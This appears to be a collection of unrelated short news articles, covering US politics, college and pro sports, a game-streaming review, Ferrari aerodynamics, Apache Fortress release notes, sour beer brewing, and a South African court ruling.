-With Indiana Governor Mike Pence heading to the White House as Donald Trump‘s vice president, concern for the future of Planned Parenthood, which Pence spent his career trying to defund, is at a high among pro-choice supporters.  Donations to the organization were already skyrocketing in the wake of the election (Katy Perry announced she gave $10,000), but people across social media are encouraging friends to send their money with a twist — under Pence’s name.  Get push notifications with news, features and more.  When people give donations to Planned Parenthood, they can check a box to give their money in honor of Pence, with a certificate thanking the governor for the donation going to his office. Pence will not receive a tax deduction for the donations made in his name.  The idea is going viral on social media, with women and men pledging their support. And celebrities from Amy Schumer to Amber Tamblyn to Best Coast’s Bethany Cosentino posted about donating in Pence’s name.  “You should donate no matter what but omg this is genius,” Cosentino wrote, along with a photo of Pence’s address in Indiana.  “Done and done,” Schumer added.  Just donated to Planned Parenthood in Mike Pence's name, it's easy & a certificate will be sent to his office: pic.twitter.com/GJx3GdyBZl — Gabrielle Moss (@Gaby_Moss) November 12, 2016  me: lol i'm so poor  internet: "u can make an honorary donation to planned parenthood in mike pence's name"  me: pic.twitter.com/MKUSgwPeP3 — h (@hanncassady) November 13, 2016  donate to planned parenthood in honor of indiana gov. mike pence#EnjoyYourCertificate pic.twitter.com/h97XJSL0EO — sam catalano 🥖🦆 (@dashspaceSC) November 13, 2016  The pro-life governor has tried to down and diminish Planned Parenthood’s funding throughout his career. As a member of Congress in 2007, he introduced the first bill to defund the non-profit organization because they provide legal abortions to women. His bill was unsuccessful.  He has also backed anti-abortion legislation in the past, as governor of Indiana, he famously championed HB 1337, which was described by the Daily Beast as the “most extreme anti-abortion bill yet.” The bill — which was approved by the Indiana Senate and House of Representatives in March — would require abortion providers to bury or cremate fetuses, ban women from seeking abortions due to fetal diagnosis of physical or mental disability, among other restrictions. In June, a federal judge issued a preliminary injunction blocking the law from taking effect, citing that it violated a woman’s right to choose.  “If Planned Parenthood wants to be involved in providing counseling services and HIV testing, they ought not be in the business of providing abortions,” Pence told Politico in 2011. “As long as they aspire to do that, I’ll be after them.”  RELATED VIDEO: Women Getting IUDs After Trump Elected President  Cecile Richards, the president of Planned Parenthood, said the day after the election that they won’t back down under the Trump/Pence administration.  “Planned Parenthood’s been around for 100 years, we’ve been fighting for the right for reproductive healthcare for that long, and as we’ve said today, our doors stay open. And they will.”  The organization thanked people for their recent donations Saturday.  Thank you so much! We've been blown away by the support we've received. Many people are donating in Clinton or Pence's name. #WeWontGoBack — Planned Parenthood (@PPact) November 12, 2016  “Thank you so much! We’ve been blown away by the support we’ve received. Many people are donating in Clinton or Pence’s name. #WeWontGoBack“
-Colorado Springs, Colo. --- San José State University's 18-game regular season Mountain West schedule was revealed by the conference on Tuesday. The Spartans open up conference play on the road at Nevada on December 28, and return to The Event Center to face Colorado State in the conference home-opener on January 4.  "We are excited to release our 2016-17 conference schedule as the Mountain West will once again become one of the toughest conferences in America," said Spartans' head coach Dave Wojcik. "We look forward to the challenges ahead, and expect to continue improving as we build our program into one of the most formidable in the league."  The schedule format for the 11-member league includes eight home-and-home series and two one-time opponents. In 2016-17, San José State will play Utah State once at home (2/22) and New Mexico once on the road (2/4).  The Spartans' oldest rival Fresno State, visits San Jose on January 7 before the team heads out for two on the road at San Diego State (1/11) and at Air Force (1/14). The Aztecs and Spartans collide again inside The Event Center on February 8.  Last season the Spartans and Runnin' Rebels of UNLV only met once, but this year the two teams will square off in San Jose on January 28 and in Las Vegas on February 11.  Boise State, which fell at the hands of San José State in last year's regular-season finale, comes back to The Event Center on January 21. It will be the second of back-to-back home games for SJSU as it welcomes Wyoming on January 18.  SJSU will play at Wyoming for the second year in a row on their senior night, which marks the regular-season finale for both teams on March 4. Three days before that, San José State will honor its seniors Isaac Thornton and Gary Williams, Jr. , in the home finale versus the Nevada Wolf Pack.  Today's release represents the first phase in the 2016-17 men's basketball schedule process. The Mountain West's national television partners CBS Sports Network and ESPN, and regional partner ROOT SPORTS, will go through a selection process lasting through the middle of August. The selections may shift Wednesday games to Tuesday and Saturday games to Sunday.  An announcement about television selections will be made on SJSUSpartans.com at the appropriate time.  Additionally, the Conference announced the format for the 2017 MW Men's Basketball Championship. The tournament begins with first-round games on Wednesday March 8 and the championship game is set for 3:00 p.m. PT on Saturday, March 11.
-For me, the PC arrival of PlayStation Now—Sony’s streaming service built on the back of OnLive and Gaikai that grants players access to over 400 PS3 games— raises three fundamental questions: which PlayStation exclusives are included as part of the service? Is it worth the money? And, crucially, does it actually work?  The Last of Us, the God of War series, and Journey are a few of the best included games that help answer the first question, and more games are coming over time. But your own Internet connection very much determines whether PlayStation Now is worth paying for, and if it'll work well at all.  PlayStation Now requires a minimum connection speed of 5 Mbps. I’m pleased to report that while my connection isn’t a great deal higher than the prerequisite, I’ve been able to stream every game with minimum lag and/or dropped frames, and have been thoroughly impressed by the responsiveness of every game I’ve sampled so far. Load times can take upwards of 60 seconds to connect to a server which is a bit of a bummer, and the absence of a search feature within the main hub is a strange oversight (games are however handily collated in alphabetical order, publisher, genre and so on).  Remote servers host games via 720p video streams running at 60fps, although it's worth remembering that, despite this, you're still playing PS3 games. The Last of Us, for example, is the original PlayStation 3 variation and not the remastered 60fps PS4 one. As such, dropped frames, in my experience, were often due to games being hamstrung by last-gen technology as opposed to under-performing streams. Some games exhibited compression artifacts—groups of blurry pixels caused by reduced video feed bit-rates to facilitate streaming—however never to the point where it spoiled the games in question.  Admittedly, these drawbacks aren't things that unduly phase me personally, but they're definitely worth bearing in mind before committing to the service. The introduction of scalable bandwidth is perhaps something that would benefit those with better connections too.  I first tried the PS3 HD remake of Team Ico’s Shadow of the Colossus—one of the PlayStation’s most prized assets—and quickly forgot I wasn’t playing a native version. Alternating between my wired Xbox 360 controller and wireless DualShock 4 (the service supports most controllers and Sony plans to ship a $25 wireless USB DS4 dongle in September), I booted up The Last of Us and reveled in its superb opening chapter, before jumping into God of War 3 where I guided Kratos into his first battle against Poseidon.  Given how well these games fared from a performance perspective, I was surprised to find the odd bit of macroblocking and the occasional stutter in Journey, and it was the only game were I noticed any degree of latency. The joy of wandering around its sprawling desertscapes while bursting into the air and surfing on sand dunes via my PC overshadowed those technical issues, though.  Which, for those players who’ve already experienced these games before, is the exact desired effect Sony hopes to achieve here—playing on the novelty of seeing one-time console-exclusives dancing around on PC. There are however obvious drawbacks to this. Expanding its audience is clearly Sony’s main drive, but of the 400 games available on the service, the vast majority are already obtainable elsewhere, and the PlayStation exclusives are the service’s most appealing feature.  For players who might’ve missed PS exclusives such as Resistance 3 or Ico or Heavy Rain the first time round, there’s a great deal of fun to be had, but for everyone who's played some of these games, the novelty may wear off quickly.  At £12.99/$19.99 a month (the US and Canada can opt for a $99 per year sub) you’re given access to the entire collection—you’re not required to rent or pay for anything over and above the subscription—which is nice, but I’m not entirely convinced players will sustain subscriptions long-term once they’ve exhausted the PlayStation exclusives. Just over 24 hours into my seven day free trial, and I’m a lot less excited to sink more time into Uncharted 2, Hohokum or LocoRoco than I first was this time yesterday.  Then again, while OnLive tried and failed to be the Netflix of games a few years ago, PlayStation Now is far closer to reaching that bar in its reliability and presentation. I also get the distinct impression Sony is playing the long game here, that perhaps this is the start of something bigger, that PlayStation Now in its current guise is but a taste of things to come as it grows its library of games into the future. The death of console gaming? Not quite, but the idea that cloud gaming done right could draw players away from the hardware isn’t unfathomable.  So does it work? Again, my connection isn’t much higher than the minimum required speed and I’ve found little issue performance-wise. Is it worth it? One of the obvious benefits of streaming services is that you don’t necessarily require high-powered machines to make them work—the recommended specs can be found here—and PlayStation Now delivers on that front.  If you’re new to PlayStation gaming and have a fast enough connection (and no data cap), PlayStation Now will add a host of timeless classics to your backlog for the price of buying two new games.
-WNT  CHICAGO (Aug. 18, 2014) – Goalkeeper Alyssa Naeher has replaced Ashlyn Harris on the U.S. U.S. Women’s National Team roster that will face Switzerland on Aug. 20 in front of a sold-out crowd at WakeMed Soccer Park in Cary, North Carolina.  Harris suffered a concussion playing with the Washington Spirit on Aug. 2. While she was expected to be fully recovered in time for the Switzerland match, the U.S. Soccer and Washington Spirit medical staffs determined she will need a few more days of rest and recovery.  Naeher, who is uncapped, has made 102 saves this season for the Boston Breakers (by far the league leader) and was named the National Women’s Soccer League Player of the Week for her stellar performance in her team’s 2-0 victory against Portland Thorns FC on Aug. 10.  U.S. Women’s National Team Roster by Position  GOALKEEPERS (2): Alyssa Naeher (Boston Breakers), Hope Solo (Seattle Reign FC)  DEFENDERS (6): Crystal Dunn (Washington Spirit), Julie Johnston (Chicago Red Stars), Meghan Klingenberg (Houston Dash), Ali Krieger (Washington Spirit), Christie Rampone (Sky Blue FC), Becky Sauerbrunn (FC Kansas City)  MIDFIELDERS (6): Morgan Brian (Virginia), Lauren Holiday (FC Kansas City), Carli Lloyd (WNY Flash), Allie Long (Portland Thorns FC), Heather O’Reilly (Boston Breakers), Megan Rapinoe (Seattle Reign FC)  FORWARDS (5): Sydney Leroux (Seattle Reign FC), Alex Morgan (Portland Thorns FC), Christen Press (Chicago Red Stars), Amy Rodriguez (FC Kansas City), Abby Wambach (WNY Flash)
-View Caption Hide Caption Here's one thing Josh Richardson never does on game days. (Getty Images)  Everybody wants an answer for this.  Josh Richardson was a dreadful 3-point shooter his first two years of college, decent after that and mostly a non-factor for the Heat early this season. Somehow, though, he is on an unbelievable tear and has hit 24 of his last 30 3-pointers.  There could be a lot of explanations for his hot streak, but here’s an interesting theory: Richardson game up playing videogames all day on Heat game days.  “I never do,” he said after practice today. “I did before, but after the All-Star break I stopped.”  Why?  “I don’t know, I just felt like it was kind of distracting me and wearing my brain out on game days,” he said. “So I stopped doing it, and the results– so I’m never going to do it again. I usually go home and play FIFA or something like that.”  He hit 20 percent of his 3s before the break and is at a league-best 64.4 percent since.
-The Ferrari 488GTB is as much a study in air management as it is a garage trophy. Twin turbos coax 661 horsepower from just 3.9 liters of V-8, which propels a form that provides 50 percent less drag with 50 percent more downforce than the 458, according to Ferrari. Here's how the new mid-engine Ferrari makes the air its ally:  Ferrari  Short Stack  Two-tiered rear-fender intakes route upper airflow to the engine. What's not ingested there exits next to the taillamps to feed the wake and trim drag, while the lower flow gets ducted through two intercoolers.  Ferrari  Playing Through  What Ferrari calls a "blown rear spoiler" is a narrow fixed wing created by a slot in the body just aft of the rear glass; it directs air through to the tail to produce downforce.  Ferrari  Vortex of the Cortex  Six curved fins on the underbody, mounted adjacent to the front tires, serve as vortex generators, increasing downforce.  Ferrari  T for Three  An "aero pillar" takes high-pressure air impacting the front of the car and deflects it beneath the flat floor and to the left and right radiators.  Ferrari  Flapping in the Wind  High-mounted exhaust pipes enable a wide rear diffuser with six curved fins to spread the flow. Three hinged flaps between the fins automatically descend 17 degrees at high speed to diminish the diffuser's downforce, thereby reducing drag and lifting top speed. Ferrari claims more than 700 pounds of downforce at 155 mph.  From the September 2015 issue of Car and Driver
-The Apache Directory Project is proud to announce the very first release of Fortress-core, the core library of the Fortress project. The Apache Fortress project provides a full ANSI RBAC compliant management and enforcement system that builds on existing open source applications like ApacheDS, OpenLDAP and Apache Tomcat. It is a standards-based and open source IAM system that provides ANSI RBAC (INCITS 359) management and enforcement capabilities to networked applications and systems. It's still a release-candidate, and will be follow soon by a GA. We are working on releasing Fortress-realm, Fortress-enMasse and Fortress-Commander in the next few weeks. Here is the list of fixed issues since the code has been injected into the ASF repository: Bugs : ------ * [FC-6](https://issues.apache.org/jira/browse/FC-6) - delPermObjs causes LDAP 80 error * [FC-8](https://issues.apache.org/jira/browse/FC-8) - Add SSD Constraint check to updateRole * [FC-9](https://issues.apache.org/jira/browse/FC-9) - CreateSession error on ApacheDS and Ubuntu 32 * [FC-11](https://issues.apache.org/jira/browse/FC-11) - MDB Error during deletion * [FC-12](https://issues.apache.org/jira/browse/FC-12) - Delete descendant role error * [FC-37](https://issues.apache.org/jira/browse/FC-37) - Accelerator jar is refering to a SNAPSHOT version of the released LDAP API * [FC-39](https://issues.apache.org/jira/browse/FC-39) - Cleanup NPE during ldap pool init * [FC-47](https://issues.apache.org/jira/browse/FC-47) - OrganizationalUnitDao create attribute syntax violation * [FC-49](https://issues.apache.org/jira/browse/FC-49) - The J2eePolicyMgrImpl.createSession() class stores the wront type into the context * [FC-54](https://issues.apache.org/jira/browse/FC-54) - Benchmark activities * [FC-57](https://issues.apache.org/jira/browse/FC-57) - Fortress testCreateSession fails negative test * [FC-58](https://issues.apache.org/jira/browse/FC-58) - Selenium Firefox Driver hangs on Ubuntu 14.04 * [FC-60](https://issues.apache.org/jira/browse/FC-60) - Add RFC2307bis attributes to User @XmlType * [FC-63](https://issues.apache.org/jira/browse/FC-63) - Search only returns 100 * [FC-64](https://issues.apache.org/jira/browse/FC-64) - AdminRoleDAO.unload has NPE * [FC-65](https://issues.apache.org/jira/browse/FC-65) - Turn off Fortress audit and pw policy test cases * [FC-67](https://issues.apache.org/jira/browse/FC-67) - Fix config switch for slapd attributes * [FC-70](https://issues.apache.org/jira/browse/FC-70) - remove dummy object from web lists * [FC-74](https://issues.apache.org/jira/browse/FC-74) - DSD checking on hierarchical relationships incorrect * [FC-80](https://issues.apache.org/jira/browse/FC-80) - Fix logout for unauthorized users Improvements : -------------- * [FC-7](https://issues.apache.org/jira/browse/FC-7) - Enhance Role Assignment Func * [FC-22](https://issues.apache.org/jira/browse/FC-22) - Switch to junit 4.11 * [FC-23](https://issues.apache.org/jira/browse/FC-23) - Make the PasswordPolicy code to work with ApacheDS * [FC-24](https://issues.apache.org/jira/browse/FC-24) - Add the missing serialVersionUID for Serializable classes * [FC-25](https://issues.apache.org/jira/browse/FC-25) - Improve the way Factories create instances * [FC-31](https://issues.apache.org/jira/browse/FC-31) - Add sortvals to slapd.conf * [FC-44](https://issues.apache.org/jira/browse/FC-44) - Define a LdapPool configuration taht does not validate connections * [FC-45](https://issues.apache.org/jira/browse/FC-45) - Normalize fortress test policies * [FC-48](https://issues.apache.org/jira/browse/FC-48) - remove log4j from realm impl * [FC-55](https://issues.apache.org/jira/browse/FC-55) - Backup Accelerator Session DB on recreate * [FC-56](https://issues.apache.org/jira/browse/FC-56) - Fix Documentation * [FC-59](https://issues.apache.org/jira/browse/FC-59) - Modify sample Fortress Rest Server policy * [FC-62](https://issues.apache.org/jira/browse/FC-62) - Update ant dependencies * [FC-66](https://issues.apache.org/jira/browse/FC-66) - add panel headers * [FC-68](https://issues.apache.org/jira/browse/FC-68) - Rename config artifacts * [FC-69](https://issues.apache.org/jira/browse/FC-69) - Sort lists in fortress web * [FC-71](https://issues.apache.org/jira/browse/FC-71) - add description field to permission page * [FC-72](https://issues.apache.org/jira/browse/FC-72) - display select to info panel * [FC-82](https://issues.apache.org/jira/browse/FC-82) - upgrade CXF in rest component * [FC-83](https://issues.apache.org/jira/browse/FC-83) - Cleanup core test processing * [FC-84](https://issues.apache.org/jira/browse/FC-84) - Add console and cli to mvn * [FC-87](https://issues.apache.org/jira/browse/FC-87) - mavenize jmeter tests * [FC-88](https://issues.apache.org/jira/browse/FC-88) - Upgrade to JGraphT 0.9.1 New Features : -------------- * [FC-50](https://issues.apache.org/jira/browse/FC-50) - Add password policy support * [FC-78](https://issues.apache.org/jira/browse/FC-78) - add deserializer to realm policymgr Tasks : ------- * [FC-2](https://issues.apache.org/jira/browse/FC-2) - Fulfill the IP Clearance form * [FC-30](https://issues.apache.org/jira/browse/FC-30) - UnboundID SDK removal preparations * [FC-40](https://issues.apache.org/jira/browse/FC-40) - Use the LDAP API constants instead of GlobalIDs constants when possible You can download the source and jars on http://directory.apache.org/fortress/downloads.html Thanks ! -- Regards, Cordialement, Emmanuel Lécharny www.iktek.com
-The Best Christmas Present Ever Is...  ...the one bought at the Book and DVD Sale November 26-28th, 2015 sponsored by the Friends of the Library, South Chapter.  Does your Aunt Ida really want a scented candle for Christmas?  Does your best friend Tim really need another pair of socks?  Do you really want to give your niece a gift card?  No No No!  Instead, why not buy them a gently used, very good condition gift book, cookbook, children's book or previously viewed DVD or DVD sets. It's a cash only sale and all proceeds benefit Toronto Public Library.  Friends of Toronto Public Library, South Chapter  Thursday, November 26, 9:30 a.m - 8 p.m  Friday, November 27, 9 a.m - 7 p.m  Saturday, November 28, 9 a.m - 4 p.m  Beeton Auditorium, Toronto Reference Library, 789 Yonge Street  All proceeds benefit library programs.  For more info and volunteer opportunities, call 416-397-5948 or email  friendssouthchapter @ torontopubliclibrary.ca  To get in the mood please also visit the Half Price Sale at Book Ends North Chapter at the North York Central Branch.  If you can't make the sales, there are plenty of bargains at the two Friends' bookstores:  Did you know the Friends of Toronto Public Library have over 100 volunteers and that together, every year they dedicate over 11,500 hours of service? It is through their support and dedication that to date, the Friends of Toronto Public Library, North and South Chapters have jointly raised over $2 million in support of Toronto Public Library programs. You can buy both donated items and materials withdrawn from the library's collection. Money raised from sales is used to support library programs and services.  For further information, visit our website to volunteer or donate material.
-The sign language interpreter accused of "making up" hand gestures at Nelson Mandela's memorial service has faced charges of murder, rape, kidnapping and theft, it was reported today.  Court records uncovered by the South African news channel eNCA reported that Thamsanqa Jantjie has faced a string of criminal charges since 1994, and was accused of murder in 2003.  The conclusion of the murder case remains unclear, as the court files of the trial have been discovered empty. It has been alleged however that many of the charges brought against Jantjie were dropped due to him being deemed mentally unfit for trial.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  Jantjie, who stood beside world leaders including Barack Obama as they paid their tributes to Mandela last Tuesday, caused controversy after it was reported that he had interpreted the speeches completely inaccurately. Responding to the claims, Jantjie claimed that he was schizophrenic, and was suffering from a hallucination at the time.  The records uncovered by eNCA have now raised further questions over Jantjie participation in the service, revealing that he was acquitted for rape in 1994, but convicted for theft a year later, and sentenced to three years in jail.  The records also show that over nine years Jantjie faced seven separate charges, including rape, theft, housebreaking, malicious damage to property, murder, and kidnapping.  Video: Interpreter at Nelson Mandela's memorial  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-The West Aurora School District in Illinois is attempting to cut its school librarians to be replaced with STEM (Science, Technology, Engineering, Math) education. This move is shortsighted at best and lacks an understanding of the importance of Information Literacy Skills for students who are growing up in the “Information Age.” Not only do school librarians teach children to love reading, a critical foundation skill for education of all kinds, but they also teach students to critically analyze the information that they are being constantly inundated with. Without this skill, students will not have the skills they need to navigate an information saturated world.  PARCC Scores  What is even more frightening is that these cuts to the library are coming at a time when the students in West Aurora are drastically underperforming in the English Language Assessment of PARCC. It has been proven through a multitude of studies that a strong library program has a direct and drastic positive influence on student test scores in areas of reading, English, and literacy. This means that these cuts to the school library in West Aurora are even more devastating for the students and further ensuring that they will not gain the skills that they need in this district.  The Importance of School Libraries  School libraries staffed by full-time professional staff are incredibly important to academic life and study after study have proven that fact. Over the past 20 years, numerous studies have shown that elementary schools with at least one full-time certified teacher-librarian performed better on state tests. In a 2010 study conducted in Colorado, more children scored "proficient" or "advanced" in reading in schools with a full-time, credentialed librarian than those without. In an article published in 2015, the authors reviewed a multitude of studies that consistently show that students who have a full-time librarian in their schools perform better on their reading and writing scores than those who don’t have one. One study, "Pennsylvania School Libraries Pay Off: Investments in Student Achievement and Academic Standards", revealed that students with full-time librarians in their schools are almost three times as likely to have “advanced” writing scores, compared to those students without full-time librarians.  For more information about the importance of school libraries, please take a look at this website.
-The more social media you use, the higher the likelihood that you’ll be anxious or depressed.  At least according to the University of Pittsburgh Center for Research on Media, Technology and Health. In a study published online this month with more than 1,700 millennial adults, it found people who report using seven to 11 social media platforms had more than three times the risk of depression or anxiety than millennials who use zero to two platforms.  The participants were asked about the most popular social media platforms in 2014, the year the study was conducted, which included Facebook, YouTube, Twitter, Google Plus, Instagram, Snapchat, Reddit, Tumblr, Pinterest, Vine, and LinkedIn. Those who used more than seven platforms showed higher levels of depressive symptoms, even when researchers controlled for factors like race, gender, relationship status, household income, education, and total time spent on social media. (All of which could also influence depression and anxiety.)  The lead author of the study, Brian A. Primack, clarified that the correlation is not certain. As he told PsyPost:  It may be that people who suffer from symptoms of depression or anxiety, or both, tend to subsequently use a broader range of social media outlets. For example, they may be searching out multiple avenues for a setting that feels comfortable and accepting. However, it could also be that trying to maintain a presence on multiple platforms may actually lead to depression and anxiety. More research will be needed to tease that apart.  According to the Pew Research Center, more than half of the adults online use more than one social media platform with favorites including Facebook, which more than 83 percent of millennials report using according to the Harvard Institute of Politics; Instagram, which 53 percent of female millennials use; and Snapchat, which is popular among younger millennials. According to Global Web Index, millennials report having an average of five social media accounts.  The National Alliance on Mental Illness found in a report that 5 million college-aged millennials alone suffer from depression, suicidal thoughts, and other mental illnesses.
-Mark Duffy, best known by his nom de plume “Copyranter,” has been fired from BuzzFeed, he tweeted on Friday.  “Got fired from BuzzFeed this week (my content wasn’t “BuzzFeedy” enough). Already freelancing, I want a full-time gig,” Duffy said.  Duffy was longtime copywriter for an ad agency whose anonymous “Copyranter” blog criticized the industry in which he worked. BuzzFeed took him on in April 2012, one of editor-in-chief Ben Smith’s first big hires as the site began to ramp up its journalism.  Also read: AOL Slashes Jonas Brothers-Founded Site Cambio in Layoffs (Exclusive)  At the time, Smith said Duffy was the perfect fit for the site: “Mark’s coverage of the ad industry has been provoking ‘OMG,’ ‘WTF’ and, often, ‘FAIL’ reactions for years, and have been all over my personal blog, BuzzFeed, and much of the Internet and the social web. He was here in spirit long before he started work, and I’m thrilled he’s joining us.”  Duffy has three more weeks at BuzzFeed, he posted on Facebook.  BuzzFeed declined comment, as did Duffy.  “I’ve got my own story to tell,” he told TheWrap.
-BILL Shorten insists he’s not a “rampant greenie” and believes coal has a place in Australia’s future.  The Opposition leader on Monday visited Victoria’s Latrobe Valley, where the Hazelwood coal-fired power station is set to close in early 2017.  “I am not a rampant ‘greenie’ who thinks there is no place for fossil fuel in our energy mix in the future,” Mr Shorten told reporters, adding the Government needed a plan to find jobs for workers as the power industry modernised.  “They need to make the power companies understand this should be a transition for the workforce affected by change,” the Labor leader said.  “Haven’t they learnt anything from the American election results — where you abandon hard working, working class communities and provide no support for them, that is when people get angry at mainstream politics.”  Mr Shorten suggested a system of voluntary redundancy for workers at the end of their career, and took the opportunity to push for the Government to “prioritise building Australian, buying Australian and employing Australian”.  He added if Australia was to take action on climate change, it would need greater support for renewable energy.  Australia will review its policies on energy and climate next year after the Government last week ratified the Paris agreement, which commits countries to work towards limiting global warming to two degrees and set five-yearly targets for cutting emissions.  Foreign Affairs Minister Julie Bishop and Environment Minister Josh Frydenburg are in Marrakesh this week for UN talks on climate change.
-Beer brewers have some early mornings, but not usually this early. It's about 2 a.m. one day in November at Indie Ale House, in Toronto’s Junction district, and as you approach the brewing kettles it gets more and more humid. Water drips from the ceiling in the brewing room.  A new shift of brewers comes in at 6 a.m. to relieve the overnight crew. One pours himself a beer from one of Indie’s taps when he arrives. Indie’s head brewer is sleeping on the floor, on an air mattress he'd brought in for the occasion. By the time he wakes up, around 9 a.m., the air is thick and smells of sourdough bread. The beer is almost ready to go.  The brewers are pulling this all-nighter for a very special reason: to make a “wildly fermented,” Belgian lambic-style beer. Soon they'll start transferring the beer into kegs and loading it onto a truck, at which point they'll drive the beer out to a winery in Prince Edward County and unload it into "coolships" — large, open vessels — to let it cool outside overnight. (The brewers will spend their night in tents nearby.) In this way, the brewers say, the beer can collect the wild yeasts in the air.  Lambic beers are a type of sour beer, a variety that has popped up on restaurant and bar menus across Ontario in the last year and is gaining in popularity. Sour beers are one of the oldest styles of beer in the world. Before we had modern sanitation, all beers were slightly sour, because “good” bacteria and wild yeasts were added during the beer-making process. They give the beer a slightly acidic or tart taste.  Lambic beers in particular taste “a bit like a goat smells and draws in your cheeks as if you’ve seen something saucy happening in the pantry,” according to two beer writers at The Telegraph. “With their dryness, sourness and acute acidity, they’re closer in character to cider or fine sherry, while the method of their production is closer to winemaking than brewing.”  It’s a risky, time-consuming, and labour-intensive process. But “the idea is to do something hard,” says Jason Fisher, owner of Indie Ale House.  “This is a beer like no other,” says Fisher. “The process is very different in all aspects. It replicates what brewers did in a small region of Belgium hundreds of years ago.”  It’s also unusual in that it wasn’t just Indie Ale House working on its own beer. Three other Ontario breweries — Amsterdam Brewing, Great Lakes Brewery, and Sawdust City Brewing — were there, too, collaborating on this once-a-year project.  Making sour beers is complex. “You can do them quick and easy or you can do them properly,” says Fisher. He says you can turn around a low-quality sour beer in eight days, but a quality sour beer takes three years. Doing it right produces an “order of magnitude of difference,” he says.  Sour beers done right have a complex flavour that can be likened more to the layers of flavour of wine, says Fisher. For this wildly fermented beer, the aging in barrels will be closer to four years.  Read more:  These breweries started doing this four years ago. Their beer from that first batch is ready to go now, Fisher says — it just has yet to be blended.  It’s a riskier proposition than traditional ales or IPAs; there are more things that could go wrong in the making. Fisher says his loss rate is much higher on sour beers because while usually you know what you’re going to get when you put certain ingredients together, with sours “you have no idea.” That’s because this beer style is almost anti-scientific: the brewers have little control over how the bacteria or yeasts will affect the final product. It’s difficult to predict and even harder to replicate.  That also means it’s a terrible way to make money. Out of the five barrels of beer they brewed four years ago, Fisher estimates, they will probably end up using two. One barrel, he says, “tasted like rocket fuel.”  But the collaboration among these four brewers means that they can share the risk.  Some brewers in the United States have tried this, Fisher says, but he is not aware of any others in Canada.  Sour beer is expected to keep growing in popularity in Ontario: the LCBO reports that sales are growing at a brisk 89 per cent, year over year.  “We have committed to increased quantities on some products we purchase each year," says Genevieve Tomney, a media relations coordinator for the LCBO. "We are also seeing more sour beers being produced locally.” During Toronto Beer Week in September, Indie Ale House had a sour watermelon beer on tap at the Summerhill LCBO. “It was delicious and sold really well,” Tomney says.  Photo: Sarah Reid Fermenting in a brew kettle is just a small part of the years-long process of making sour beer. Photo: Sarah Reid Old hops are put in cheesecloths and then soaked in the fermenting beer. Photo: Sarah Reid Brewers watch the beer kettles overnight; at 9 a.m. it will be ready to pour into kegs. Photo: Sarah Reid The kegs being filled will be shipped to a special location for an odd but important step in the sour beer process. Photo: Sarah Reid. From Toronto, the beer will head to a winery in Prince Edward County to cool outside in large, open vessels overnight. Photo: Sarah Reid. Sour beer is so difficult to produce, there's no guarantee at the end of the years-long process that the beer will be drinkable.  The popularity of sour beers started to rise sharply in 2012 in the United States, says Matthew Miller, creator of sourbeerblog.com. “When these beers were obscure, people simply never had the opportunity to taste good examples,” he says. “As they slowly gained popularity amongst brewers, the market eventually reached a tipping point where many craft beer fans got the chance to try good examples and in turn developed a love for these beers.”  “The balance of sourness against malt sweetness or graininess is a flavour combo that people can relate to," he says, "much like wine or lemonade.”  Ontario beer trends tend to track about six or eight years behind the U.S., says Jason Fisher.  But the flavour is polarizing. It seems that beer drinkers either love it or hate it, and there’s not much middle ground.  “Sour beers, I think, still shock people,” says Fisher. “There’s a joke amongst writers and beer experts that if a brewery makes a beer that’s gone off they call it Belgian, and if it’s gone really off they call it sour. And that’s not untrue to some extent. But even a really good, world-class sour beer will still freak a lot of people out.”  Brewing lambic beer “requires a lot of planning and very specific weather conditions so we get the right temperature range,” he explains.  But beyond that, Fisher says they don’t know much more now than Belgian brewers did hundreds of years ago. “You don’t have enough data as a brewer to know it all yet. The process is a lot more wild and subject to variables you can’t control. In brewing you try to control every variable,” he says. “Sours, you’re like, ‘Leave it open, let’s see what happens, don’t clean that.’”  It’s a brewing process unlike any other, where you’re meant to do everything wrong. It will be four years before we know whether, instead, they did everything right.  Sarah Reid is a freelance journalist and a recent graduate of the Munk Fellowship in Global Journalism at the University of Toronto.
-GLENDALE, Ariz. -- Paul Konerko has been an iconic player for the Chicago White Sox since 1999. I sat down with the “King” for a quick Q&A session.  Who is your favorite teammate of all time?  PK: A lot of guys come to mind but Mark Buehrle would have to be my final answer if you are holding me to one player. We were together for a long time, over 12 years as a matter of fact. Great pitcher and even better person.  Funniest teammate?  PK: That question is a little easier. Ross Gload always would make me laugh. He had a real dry sense of humor and his locker was next to mine. James Baldwin was hilarious in a different way you can’ t really talk about, but really in your face. Ross never smiles or laughs; he is total deadpan with his delivery.  How does Camp Ventura differ from the Guillen years?  PK: It’s been very good -- well run. I’d say a little more work on the fields and in drills, a little more sweat going on. Robin and the new coaches are well prepared. I have not seen any glaring mistakes that you might expect with a first-year staff.  Who is in charge of staring into the stands now that Ozzie is gone?  PK: It has to be a pitcher because they have so much down time between starts. My candidates are Jake (Peavy) or (John) Danks, but nobody can see everything like Ozzie did.  If you were Commissioner for a day what would you change about baseball?  PK: I would cut it down to 150-game season. They made a lot of changes in the past 20 years and that one would give every team at least one day off a week. I know that changes the gates and changes the money, but the players would be better rested and you may see a better product going down the stretch. You might see people more into it if it was not so smothering each day.
-Johannesburg - A magistrate has to pay R115 000 of damages plus interest out of her own pocket to a convicted fraudster after she refused to hear her bail application because it was in Afrikaans, according to Rapport.  North Gauteng High Court judge Cynthia Pretorius ruled that Magistrate Hasina Habib's dishonesty during the case of Annalize du Plessis, 43, in the Johannesburg Commercial Crimes Court in 2009 was "blatant", the Afrikaans weekly reported.  Pretorius found that had Habib done her work properly, as was expected of her, she would have heard Du Plessis's bail application.  Du Plessis was arrested in 2009 for R5.2m fraud and appeared before Habib on 3 April, when she postponed the bail application till 9 April.  On the day, Du Plessis's lawyer told the court that her client's affidavit was written Afrikaans but that it would be interpreted for Habib.  Habib reportedly refused saying it was an English court and also told the lawyer her behaviour was arrogant.  Then Habib refused to listen to the lawyer because she was dissatisfied with her attire.  According to the report, Habib also ignored a plea to allow Du Plessis to present her own bail application and she postponed the matter to 14 April.  Pretorius found that Habib was not faithful to the oath she took as a magistrate, deliberately making Du Plessis spend the Easter weekend in jail.  The high court judge also ordered that the minister of justice and correctional services pay Du Plessis R30 000 in damages.  Habib's application for leave to appeal against Pretorius's judgment was dismissed.
